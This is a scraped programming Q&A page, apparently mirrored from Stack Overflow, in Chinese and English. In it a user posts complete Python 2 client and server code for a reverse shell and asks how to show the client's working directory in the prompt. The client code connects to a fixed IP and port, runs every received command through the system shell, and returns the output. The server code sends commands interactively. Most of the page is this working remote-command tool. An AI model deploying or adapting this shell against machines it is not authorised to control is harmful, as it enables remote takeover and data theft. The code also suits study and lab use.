【问题标题】:set current working directory as input prompt in a Python reverse shell在 Python 反向 shell 中将当前工作目录设置为输入提示
【发布时间】:2017-05-30 13:56:54
【问题描述】:

这是我用python编写的简单反向shell。我正在努力让它变得更好。

客户端代码:

import socket
import subprocess

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)

while (cmd != 'exit'):
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    mySocket.send(cmdResult.communicate()[0])
    cmd = mySocket.recv(100)

mySocket.send('Shell closed by user.')
mySocket.close()

服务器端代码:

import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])

while True:
    command=raw_input('Shell>')
    clntConn.send(command)
    result=clntConn.recv(1024)
    if (result == 'Shell closed by user.'):
        print result
        exit(0)
    else:
        print result

如“服务器端代码”中所示,raw_input 提示符是“Shell”。 如何将其更改为客户端上的当前工作目录。

例如,如果客户端当前工作目录是“C:\Users\Test\Desktop\”

我的 raw_input 提示为“C:\Users\Test\Desktop>”。

谢谢。

【问题讨论】:

    标签: python shell input reverse prompt


    【解决方案1】:

    您可以使用os.getcwd(),它应该可以在 Unix 和 Windows 上运行。

    import os
    cwd = os.getcwd()
    

    【讨论】:

    • 我想要客户端当前工作目录,而不是服务器端。
    • 然后在客户端运行命令。不过,命令是一样的。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-03-21
    • 1970-01-01
    相关资源
    最近更新 更多